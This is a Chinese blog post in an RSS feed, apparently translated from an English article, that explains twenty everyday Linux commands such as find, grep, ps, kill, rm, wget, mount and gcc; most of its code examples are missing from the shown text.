id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421642.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:25 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421642.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对中级Linux用户有用的20个命令</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421324.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:47:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421324.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421324.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421324.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421324.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421324.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1. 命令: Find</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　搜索指定目录下的文件，从开始于父目录，然后搜索子目录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意： -name&#8216;选项是搜索大小写敏感。可以使用-iname&#8216;选项，这样在搜索中可以忽略大小写。（*是通配符，可以搜索所有的文件；&#8216;.sh&#8216;你可以使用文件名或者文件名的一部分来制定输出结果）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意：以上命令查找根目录下和所有文件夹以及加载的设备的子目录下的所有包含&#8216;tar.gz&#8217;的文件。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8217;find&#8217;命令的更详细信息请参考35 Find Command Examples in&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Linux</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 命令: grep</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8216;grep&#8216;命令搜索指定文件中包含给定字符串或者单词的行。举例搜索&#8216;/etc/passwd&#8216;文件中的&#8216;tecmint&#8217;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用&#8217;-i&#8217;选项将忽略大小写。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用&#8217;-r&#8217;选项递归搜索所有自目录下包含字符串 &#8220;127.0.0.1&#8220;.的行。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意：您还可以使用以下选项：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　-w 搜索单词 (egrep -w &#8216;word1|word2&#8216; /path/to/file).</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　-c 用于统计满足要求的行 (i.e., total number of times the pattern matched) (grep -c &#8216;word&#8216; /path/to/file).</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8211;color 彩色输出 (grep &#8211;color&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">server</strong></u></a>&nbsp;/etc/passwd).</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3. 命令: man</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8216;man&#8216;是系统帮助页。Man提供命令所有选项及用法的在线文档。几乎所有的命令都有它们的帮助页，例如：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　上面是man命令的系统帮助页，类似的有cat和ls的帮助页。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意：系统帮助页是为了命令的使用和<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>而设计的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">4. 命令: ps</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ps命令给出正在运行的某个进程的状态，每个进程有特定的id成为PID。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用&#8216;-A&#8216;选项可以列出所有的进程及其PID。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意：当你要知道有哪些进程在运行或者需要知道想杀死的进程PID时ps命令很管用。你可以把它与&#8216;grep&#8216;合用来查询指定的输出结果，例如：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ps命令与grep命令用管道线分割可以得到我们想要的结果。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">5. 命令: kill</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　也 许你从命令的名字已经猜出是做什么的了,kill是用来杀死已经无关紧要或者没有响应的进程.它是一个非常有用的命令,而不是非常非常有用.你可能很熟悉&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>下要杀死进程可能需要频繁重启机器因为一个在运行的进程大部分情况下不能够杀死,即使杀死了进程也需要重新启动<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>才能生效.但在 linux环境下,事情不是这样的.你可以杀死一个进程并且重启它而不是重启整个操作系统.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　杀死一个进程需要知道进程的PID.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　假设你想杀死已经没有响应的&#8216;apache2&#8216;进程,运行如下命令:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　搜索&#8216;apache2&#8216;进程,找到PID并杀掉它.例如:在本例中&#8216;apache2&#8216;进程的PID是1285..</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意:每次你重新运行一个进程或者启动系统,每个进程都会生成一个新的PID.你可以使用ps命令获得当前运行进程的PID.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　另一个杀死进程的方法是:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意:kill需要PID作为参数,pkill可以选择应用的方式,比如指定进程的所有者等.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　6. 命令: whereis</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　whereis的作用是用来定位命令的二进制文件\资源\或者帮助页.举例来说,获得ls和kill命令的二进制文件/资源以及帮助页:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意:当需要知道二进制文件保存位置时有用.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">7. 命令: service</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8216;service&#8216;命令控制服务的启动、停止和重启，它让你能够不重启整个系统就可以让配置生效以开启、停止或者重启某个服务。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在Ubuntu上启动apache2 server：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　重启apache2 server：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　停止apache2 server：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意：要想使用service命令，进程的脚本必须放在&#8216;/etc/init.d&#8216;，并且路径必须在指定的位置。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果要运行&#8220;service apache2 start&#8221;实际上实在执行&#8220;service /etc/init.d/apache2 start&#8221;.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">8. 命令: alias</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　alias是一个系统自建的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>命令，允许你为名字比较长的或者经常使用的命令指定别名。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我经常用&#8216;ls -l&#8216;命令，它有五个字符（包括空格）。于是我为它创建了一个别名&#8216;l&#8217;。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　试试它是否能用：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　去掉&#8217;l&#8217;别名，要使用unalias命令：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　再试试：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　开个玩笑，把一个重要命令的别名指定为另一个重要命令：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　想想多么有趣，现在如果你的朋友敲入&#8216;cd&#8217;命令，当他看到的是目录文件列表而不是改变目录；当他试图用&#8217;su&#8216;命令时，他会进入当前目录。你可以随后去掉别名，向他解释以上情况。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">9.命令: df</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　报告系统的磁盘使用情况。在跟踪磁盘使用情况方面对于普通用户和系统管理员都很有用。 &#8216;df&#8216; 通过检查目录大小<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>，但这一数值仅当文件关闭时才得到更新。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#8216;df&#8217;命令的更多例子请参阅 12 df Command Examples in Linux.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">10. 命令: du</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　估计文件的空间占用。 逐层统计文件（例如以递归方式）并输出摘要。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注意: &#8216;df&#8216; 只显示文件系统的使用统计，但&#8216;du&#8216;统计目录内容。&#8216;du&#8216;命令的更详细信息请参阅10 du (Disk Usage) Commands.<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">11. 命令: rm</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#8216;rm&#8217; 标准移除命令。 rm 可以用来删除文件和目录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　直接删除目录时会报错：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#8216;rm&#8217; 不能直接删除目录,需要加上相应的&#8217;-rf&#8217;参数才可以。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　警告: &#8220;rm -rf&#8221; 命令是一个破坏性的命令,假如你不小心删除一个错误的目录。一旦你使用&#8217;rm -rf&#8217; 删除一个目录,在目录中所有的文件包括目录本身会被永久的删除,所以使用这个命令要非常小心。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">12. 命令: echo</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　echo &nbsp;的功能正如其名，就是基于标准输出打印一段文本。它和shell无关，shell也不读取通过echo命令打印出的内容。然而在一种交互式脚本中，echo通过终端将信息传递给用户。它是在脚本语言，交互式脚本语言中经常用到的命令。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　创建一小段交互式脚本</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 在桌面上新建一个文件，命名为 &#8216;interactive_shell.sh&#8216; &nbsp;(记住必须带 &#8216;.sh&#8216;扩展名)。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 复制粘贴如下脚本代码，确保和下面的一致。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　接下来，设置执行权限并运行脚本。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　注意: &#8216;#!/bin/bash&#8216; 告诉shell这是一个脚本，并且在脚本首行写上这句话是个好习惯。. &#8216;read&#8216; 读取给定的输出。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">13. 命令: passwd</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这是一个很重要的命令，在终端中用来改变自己密码很有用。显然的，因为安全的原因，你需要知道当前的密码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">14. 命令: lpr</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这个命令用来在命令行上将指定的文件在指定的打印机上打印。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　注意： &#8220;lpq&#8220;命令让你查看打印机的状态（是开启状态还是关闭状态）和等待打印中的工作(文件)的状态。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　15. 命令: cmp</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　比较两个任意类型的文件并将结果输出至标准输出。如果两个文件相同， &#8216;cmp&#8216;默认返回0；如果不同，将显示不同的字节数和第一处不同的位置。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　以下面两个文件为例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　file1.txt</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　file2.txt</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　比较一下这两个文件，看看命令的输出。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　16. 命令: wget</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Wget是用于非交互式（例如后台）下载文件的免费工具.支持HTTP, HTTPS, FTP协议和 HTTP 代理。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　使用wget下载ffmpeg</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">17 命令: mount</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　mount 是一个很重要的命令，用来挂载不能自动挂载的文件系统。你需要root权限挂载设备。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　在插入你的文件系统后，首先运行&#8221;lsblk&#8220;命令，识别出你的设备，然后把分配的设备名记下来。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　从这个输出上来看，很明显我插入的是4GB的U盘，因而&#8220;sdb1&#8221;就是要挂载上来的文件系统。以root用户操作，然后切换到/dev目录，它是所有文件系统挂载的地方。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　创建一个任何名字的目录，但是最好和引用相关。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　现在将&#8220;sdb1&#8221;文件系统挂载到&#8220;usb&#8221;目录.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　现在你就可以从终端进入到/dev/usb或者通过X窗口系统从挂载目录访问文件。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　是时候让程序猿见识见识Linux环境是多么丰富了！</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">18. 命令: gcc</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　gcc 是Linux环境下C语言的内建编译器。下面是一个简单的C程序，在桌面上保存为Hello.c （记住必须要有&#8216;.c&#8216;扩展名）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　编译</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　运行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　注意: 编译C程序时，输出会自动保存到一个名为&#8220;a.out&#8221;的新文件，因此每次编译C程序 &#8220;a.out&#8221;都会被修改。 因此编译期间最好定义输出文件名.，这样就不会有覆盖输出文件的风险了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　用这种方法编译</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这里&#8216;-o&#8216;将输出写到&#8216;Hello&#8216;文件而不是 &#8216;a.out&#8216;。再运行一次。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　19. 命令: g++</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　g++是C++的内建编译器。下面是一个简单的C++程序，在桌面上保存为Add.cpp （记住必须要有&#8216;.cpp&#8216;扩展名）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　编译并运行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　注意:编译C++程序时，输出会自动保存到一个名为&#8220;a.out&#8221;的新文件，因此每次编译C++程序 &#8220;a.out&#8221;都会被修改。 因此编译期间最好定义输出文件名.，这样就不会有覆盖输出文件的风险了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　用这种方法编译并运行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　20. 命令: java</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Java 是世界上使用最广泛的编程语言之一. 它也被认为是高效, 安全和可靠的编程语言. 现在大多数基于网络的服务都使用Java实现.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　拷贝以下代码到一个文件就可以创建一个简单的Java程序. 不妨把文件命名为tecmint.java (记住: &#8216;.java&#8217;扩展名是必需的).</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　用javac编译tecmint.java并运行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　注意: 几乎所有的Linux发行版都带有gcc编译器, 大多数发行版都内建了g++ 和 java 编译器, 有些也可能没有. 你可以用apt 或 yum 安装需要的包.</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div 